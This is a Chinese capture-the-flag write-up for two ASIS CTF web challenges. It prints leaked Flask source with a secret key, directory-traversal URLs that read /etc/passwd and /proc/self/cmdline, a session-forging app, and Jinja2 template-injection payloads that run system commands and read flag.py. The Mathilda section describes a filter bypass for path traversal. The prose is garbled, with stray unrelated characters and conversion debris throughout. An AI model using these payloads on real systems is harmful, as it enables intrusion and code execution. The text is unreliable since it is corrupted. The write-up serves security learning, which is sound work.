Golem is stupid!
ASIS CTF 的一道 Web箕般,打開 題目頁面 https://golem.asisctf.com/
查看了一下耐薯,沒有什么敏感信息。于是操作輸入框。
發(fā)現(xiàn)網(wǎng)頁將剛才輸入的元素展示出來曲初,并且提供了一個鏈接
打開鏈接体谒,發(fā)現(xiàn)這里可能出現(xiàn)問題。實驗一下臼婆,果然暴露出了路徑
嘗試使用目錄穿越抒痒,成功獲取了服務器上的 passwd。
由于之前并沒有看出這個 web 服務是什么啟動的颁褂,因此訪問路徑 https://golem.asisctf.com/article?name=../../../../../proc/self/cmdline
看一下這個服務的啟動參數(shù)
依次查看參數(shù)故响,果然發(fā)現(xiàn)其啟動文件
查看之,這是一個python flask 服務颁独,把用戶的輸入渲染到頁面上來彩届。在簡單的過濾之后調(diào)用函數(shù) render_template_string
進行渲染。這是一個危險的信號誓酒,有可能觸發(fā) SSTI樟蠕。
import os
from flask import (
Flask,
render_template,
request,
url_for,
redirect,
session,
render_template_string
)
from flask.ext.session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/golem", methods=["GET", "POST"])
def golem():
if request.method != "POST":
return redirect(url_for("index"))
golem = request.form.get("golem") or None
if golem is not None:
golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "golem" not in session or session['golem'] is None:
session['golem'] = golem
template = None
if session['golem'] is not None:
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<h1>Golem Name</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div>
{%% endblock %%}
''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/golem/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
繼續(xù)觀察程序邏輯,首先程序過濾用戶輸入中的 ‘{’靠柑、‘}’寨辩、‘_’、‘.’病往,接著將用戶輸入保存在 session 中,渲染頁面時再從 session 中獲取并拼接到模板中骄瓣,調(diào)用 render_template_string
渲染頁面停巷。
一般而言存在 session 中的東西是不能夠偽造的,然而我們可以通過目錄穿越直接訪問到 seesion key~從而可以偽造之
編寫一個 Flask 服務榕栏,使用獲取的服務器 seesion key畔勤。傳入?yún)?shù) ?golem={{%20[].__class__.__base__.__subclasses__()[59].__init__.func_globals[%27linecache%27].__dict__[%27os%27].system(%27id%27)%20}}
可以通過 catch_warnning 執(zhí)行任意系統(tǒng)命令。
from flask import (
Flask,
render_template,
request,
url_for,
redirect,
session,
render_template_string
)
from flask.ext.session import Session
app = Flask(__name__)
app.secret_key = "7h15_5h0uld_b3_r34lly_53cur3d"
@app.route('/',methods=["GET","POST"])
def hello_world():
golem = request.args.get('golem')
session['golem'] = golem
return session['golem']
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
將頁面上的 session 替換為本地偽造的 session 扒磁,golem 也會被替換庆揪。這里可能還有一些驗證,將參數(shù)變化為 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat flag.py').read()}}
便可以讀取了妨托。
Refenrence
- http://blog.portswigger.net/2015/08/server-side-template-injection.html
- http://www.evil0x.com/posts/16083.html
- http://docs.jinkan.org/docs/flask/quickstart.html#quickstart
- http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates.html
Mathilda
打開網(wǎng)頁缸榛,好像沒有什么東西,查看源碼兰伤,發(fā)現(xiàn)有 ~rooney
内颗,好像是一個映射。
訪問之
發(fā)現(xiàn)一個鏈接敦腔,訪問之均澳,發(fā)現(xiàn)有目錄穿越,只是過濾了 ../
,修改一下
查看這個 web 服務是什么程序啟動的找前。發(fā)現(xiàn)是 apache
根據(jù) apache 映射的原則糟袁,波浪線映射的位置應該是位于 /home/rooney/public_html
中,于是訪問之,發(fā)現(xiàn)敏感信息躺盛,猜測文件位置可能在 files 目錄下项戴。
于是訪問之,果然颗品。
flag 的位置仍需要猜測肯尺,想到 passwd 中還有一個奇怪的用戶名,于是照例訪問之
成功
Refenrence
總結(jié)
感謝 EM 大佬的幫助